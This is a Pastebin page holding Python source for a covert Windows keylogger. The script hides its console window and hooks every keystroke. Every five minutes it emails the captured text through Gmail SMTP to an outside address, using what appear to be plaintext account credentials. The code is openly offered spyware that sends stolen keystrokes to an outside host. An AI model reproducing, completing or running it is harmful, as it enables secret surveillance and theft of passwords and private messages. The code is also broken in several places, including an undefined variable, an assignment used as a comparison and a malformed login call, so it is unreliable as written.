Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyhook
- import pythoncom
- import win32gui
- import win32console
- import threading
- import time
- import smtplib
- email="samuelbrimsoee@gmail.com"
- list = []
- log_file = "log_file.txt"
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindows(window,0)
- def pressed_chars(event):
- if event.Ascii:
- f = open(log_file, "a")
- list.append(char)
- if char == "q":
- f.close()
- exit()
- if event.Ascii = 13:
- f.close()
- f.close()
- def pump():
- proc = pyHook.HookManager()
- proc.KeyDown = pressed_chars
- proc.HookKeyboard()
- pythoncom.PumpMessages()
- def send_email():
- while 1:
- time.sleep(300)
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.starttls()
- server.ehlo()
- server.login('gr3ygoat@gmail.com'.'007India')
- msg = ''.join(list)
- server.sendmail('gr3ygoat@gmail.com', email, msg)
- w = threading.Thread(target=send_email)
- w2 = threading.Thread(target=pump)
- w.start()
- w2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement